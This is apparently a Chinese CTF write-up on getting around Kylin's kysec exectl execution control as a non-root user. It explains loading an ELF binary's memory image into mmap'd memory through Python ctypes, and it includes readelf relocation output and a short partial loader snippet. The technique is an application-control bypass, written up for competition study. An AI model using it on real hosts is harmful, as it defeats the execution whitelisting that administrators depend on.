# 绕过kysec exectl执行二进制程序 ## 前言 今年虎符比赛题目还是要求在非root权限下绕过kysec exectl执行二进制程序,虽然在年初已经实现了执行二进制链接库的方法,但比赛中不符合题目要求,赛后复现选择了一个不是很优雅的方法,但以防明年还有类似题目在此纪录一下。简单来说就是用python将二进制文件解析后放入事先准备好的mmap内存区域执行即可。 ## 主要流程 ### 生成memory map 鉴于没有好用的elf文件解析的轮子,我使用ida加载目标二进制文件,ida会自动进行解析,之后只需将hex veiw中的内容dump出来即可。如果需要控制内存基址可以在:Edit->Segments->Rebase program中修改。 ### 重定向plt表 虽然ida已经帮我们完成了大部分解析工作但libc函数地址还需要我们手动进行填充。首先需要定位plt表在二进制文件中的偏移: ```bash └─$ readelf -r ./Wfexecuted Relocation section '.rela.dyn' at offset 0x4a8 contains 10 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000010d70 000000000403 R_AARCH64_RELATIV 7f8 000000010d78 000000000403 R_AARCH64_RELATIV 7b0 000000010fc8 000000000403 R_AARCH64_RELATIV 8b8 000000010fe8 000000000403 R_AARCH64_RELATIV 838 000000010ff0 000000000403 R_AARCH64_RELATIV 7fc 000000011008 000000000403 R_AARCH64_RELATIV 11008 000000010fd0 000300000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0 000000010fd8 000400000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 000000010fe0 000800000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0 000000010ff8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0x598 contains 7 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000010f88 000400000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 000000010f90 000500000402 R_AARCH64_JUMP_SL 0000000000000000 getpid@GLIBC_2.17 + 0 000000010f98 000600000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.17 + 0 000000010fa0 000700000402 R_AARCH64_JUMP_SL 0000000000000000 system@GLIBC_2.17 + 0 000000010fa8 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0 000000010fb0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0 000000010fb8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 printf@GLIBC_2.17 + 0 ``` ### 在python内存中加载执行shellcode 通过ctypes,调用mmap申请内存空间,将重定向好的二进制文件加载进内存即可。 ```python fb = lib.open(target,0) ret = lib.mmap(c_void_p(baseaddr),memsize,3,0x2,fb,0) main_off = 0x007FC lib.mprotect(c_void_p(baseaddr),memsize,5) run = cast(c_void_p(baseaddr+main_off),CFUNCTYPE(c_void_p)) run() ``` ## 总结 这个方法看起来不难,但实现的时候还是重新翻了一遍《程序员的自我修养》,对elf文件结构和加载流程的认识更加清晰了。这个方法缺点在于目前只适用于动态链接的二进制文件,而且较为复杂的一些程序需要进行堆栈初始化的,运行中可能也会出现问题,但对于应付以后的比赛来说应该是够了。